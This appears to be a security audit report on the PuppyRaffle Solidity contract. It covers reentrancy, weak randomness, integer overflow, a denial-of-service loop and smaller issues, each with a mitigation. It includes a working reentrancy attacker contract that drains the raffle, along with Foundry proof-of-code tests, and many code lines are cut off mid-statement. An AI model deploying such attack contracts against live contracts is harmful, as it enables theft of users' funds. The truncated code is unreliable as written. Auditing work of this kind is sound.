Findings

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description:

The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
function refund(uint256 playerIndex) public {
    // @audit MEV
    address playerAddress = players[playerIndex];
    require(
        playerAddress == msg.sender,
        "PuppyRaffle: Only the player can refund"
    );
    require(
        playerAddress != address(0),
        "PuppyRaffle: Player already refunded, or is not acti
    );

@>  payable(msg.sender).sendValue(entranceFee);
@>  players[playerIndex] = address(0);

    emit RaffleRefunded(playerAddress);
}
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They couyld continue the cycle till the contract balance is drained.

Impact:

All Fees paid by the raffle entrant could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance

Proof of Code:

▼ Code

Paste the following into `PuppyRaffleTest.t.sol`

```
function testReentrancyRefund() public {
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(player

    ReentrancyAttacker attackerContract = new ReentrancyAt
        puppyRaffle
    );
    address attackUser = makeAddr("attackUser");
```

```
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance = address(attack
            .balance;
        uint256 startingPuppyRaffleBalance = address(puppyRaff

        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log(
            "Starting Attacker contract balance: %s",
            startingAttackContractBalance
        );
        console.log(
            "Starting PuppyRaffle contract balance: %s",
            startingPuppyRaffleBalance
        );

        console.log(
            "Ending attacker contract balance: %s",
            address(attackerContract).balance
        );
        console.log(
            "Ending PuppyRaffle contract balance: %s",
            address(puppyRaffle).balance
        );
    }
```

And this contract as well:

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFees;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFees = puppyRaffle.entranceFee();
```

```
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFees}(playe

        attackerIndex = puppyRaffle.getActivePlayerIndex(a
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFees)
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

Mitigation

To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(
        playerAddress == msg.sender,
```

```
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not acti
        );
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);

        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);

-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle:selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy.

Description:

Hashing `msg.sender` , `block.timestamp` and `block.diffculty` together creates a predictable find number. A predicatble number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see thy are not the winner.

Impact:

Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who win the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the [Solidity blog on Prevrandao]. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `mg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as randomness seed is a [well-documented attack vector] in the blockchain space.

Recommended Mitigation:

Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description:

In Solidity version prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max
myVar += 1 // myVar will be 0
```

Impact:

In `PuppyRaffle::selectWinner` , `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdraFees` . However, if the `totalFees` variable overflows, the `feeAddress` may not colelct the correct amount of fees, leaving the fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle

3. `totalFees` will be

```
totalFees = totalFees + uint64(fee);
// 800000000000000000 + 17800000000000000000
totalFees = 153255926290448384 // and this overflows
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees` :

```
require(
    address(this).balance == uint256(totalFees), "PuppyRaffle
);
```

Althought. you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be to much balance in the contract that the above will be impossible to hit.

Proof of Code:

▼ Code

Add the following test to `PuppyRaffleTest.t.sol` :

```
function testTotalFeesOverflow() public playersEntered {
    vm.warp(
        puppyRaffle.raffleStartTime() + puppyRaffle.raffle
    );
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();
    uint256 startingTotalFees = puppyRaffle.totalFees();

    uint256 numberOfPlayer = 89;
    address[] memory players = new address[](numberOfPlaye
    for (uint256 i = 0; i < numberOfPlayer; i++) {
        players[i] = address(i);
    }
    puppyRaffle.enterRaffle{value: entranceFee * numberOfP
    vm.warp(
        puppyRaffle.raffleStartTime() + puppyRaffle.raffle
    );
```

```
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 endingTotalFees = puppyRaffle.totalFees();

        console.log("Starting Total fees: %s", startingTotalFe
        console.log("Ending Total fees: %s", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        vm.expectRevert("PuppyRaffle: There are currently play
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation:

There are a few possible mitigation.

1. Use a newer version of Solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use `SafeMath` library from OpenZeppelin for version 0.7.6 of Solidity, however you would still have a hard time with the `uint64` type if too many fees are collected
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
require(
    address(this).balance == uint256(totalFees), "PuppyRaffle
);
```

There are more attack vectors with that final require, so we recommend removing it regardless.

[M-1] Looping through player arrays to check for duplicates in `PuppyRaffle::enterRaffle` is a potential Denial Of Service (DOS), incrementing gas costs for future entrants.

Description:

The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make.

This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array is an additional check the loop will have to make.

```
@> for (uint256 i = 0; i < players.length - 1; i++) {
        for (uint256 j = i + 1; j < players.length; j++) {
            require(
                players[i] != players[j],
                "PuppyRaffle: Duplicate player"
            );
        }
    }
```

Impact:

The gas cost for raffle entrance will greatly increases as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of the raffle to be one of the first entrants in the queue.

an attacker might make the `PuupyRaffle::entrants` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 300 players enter, the gas costs will be as such:

- 1st 300 players: ~42391261 gas
- 2nd 300 players: ~148866771 gas

This is more than 3x more expensive for the second 300 players.

▼ *PoC*

Place the following test into `PuppyRaffleTest.t.sol`

```
function testDenialOfService() public {
    vm.txGasPrice(1);

    // Let's enter 300 players
    uint256 playerLength = 300;

    address[] memory players = new address[](playerLength)
    for (uint256 i = 0; i < playerLength; i++) {
        players[i] = address(i);
    }

        // Checking how much gas it costs
    uint256 gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * playerLen
    uint256 gasEnd = gasleft();

    uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gaspri
    console.log("Gas Cost if the first 300 players: %s", g

    address[] memory playersSecond = new address[](playerL
    for (uint256 i = 0; i < playerLength; i++) {
        playersSecond[i] = address(i + playerLength);
    }

    uint256 gasStartSecond = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * playerLen
        playersSecond
    );
    uint256 gasEndSecond = gasleft();

    uint256 gasUsedSecond = (gasStartSecond - gasEndSecond
    console.log("Gas Cost if the second 300 players: %s",

    assert(gasUsedFirst < gasUsedSecond);
}
```

Recommended Mitigation:

There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addressses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time looup of wether a user has already entered.
3. Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Smart Contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest.

Description:

The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

USers could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact:

The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 Smart contracts wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function would not work, even though the lottery is over!

Recommended Mitigation:

There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize. (Recommended)

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description:

If a player is in the `PuppyRaffle::players` array at 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
/// @return the index of the player in the array, if they are
function getActivePlayerIndex(
    address player
) external view returns (uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
```

```
        }
        // @audit if plauer is at index 0, it will return 0 and a
        return 0;
    }
```

Impact:

A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation.

Recommended Mitigation:

The easiest recommendation would be to revert if the pllayer is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns a `-1` when the player is not in the array.

[G-1] Unchanged state variable should be declared as constant or immutable.

Reading from storage is much more expensive than reading from a constant or from an immutable.

Instance:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Description:

Everytime you call `players.length`, you read from storage, as opposed to memory which is more gas efficient.

```
+ uint256 playerLength = players.length
- for (uint256 i = 0; i < players.length - 1; i++) {
+ for (uint256 i = 0; i < playerLength - 1; i++) {
-    for (uint256 j = i + 1; j < players.length; j++) {
+    for (uint256 j = i + 1; j < playerLength; j++) {
        require(
            players[i] != players[j],
            "PuppyRaffle: Duplicate player"
        );
    }
}
```

[I-1] Solidity pragma should be specific, not wide

Description:

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0`, use `pragma solidity 0.8.0`.

Found in `src/PuppyRaffle.sol:32:32:35`

[I-2] Using an outdated version of Solidity is not recommended.

Description

`solc` frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex `pragma` statement.

Recommendation

Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see [slither](https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity) documentation for more information.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Description:

Check for `address(0)` when assigning values to address state variables.

- *Found in src/PuppyRaffle.sol [Line: 69](src/PuppyRaffle.sol#L69)*
- *Found in src/PuppyRaffle.sol [Line: 209](src/PuppyRaffle.sol#L209)*

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It's best to keep the code clean and follow CEI (Checks, Effects, Interactions)

```
-(bool success, ) = winner.call{value: prizePool}("");
-require(success, "PuppyRaffle: Failed to send prize pool to 
_safeMint(winner, tokenId);
+(bool success, ) = winner.call{value: prizePool}("");
+require(success, "PuppyRaffle: Failed to send prize pool to 
```

[I-5] Use of "magic" number is discouraged

It can be confusing to see number litterals in a codebase, and it's much more readable if the numbers are given a name.

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead you could use:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events

[I-7] `PuppyRaffle::_isActivePlayer()` is never used and should be removed

Description

The function `PuppyRaffle::_isActivePlayer` is never user and shoudl be removed as it costs gas to be deployed.

```
- function _isActivePlayer() internal view returns (bool) {
-    for (uint256 i = 0; i < players.length; i++) {
-       if (players[i] == msg.sender) {
-           return true;
-       }
-   }
-   return false;
-}
```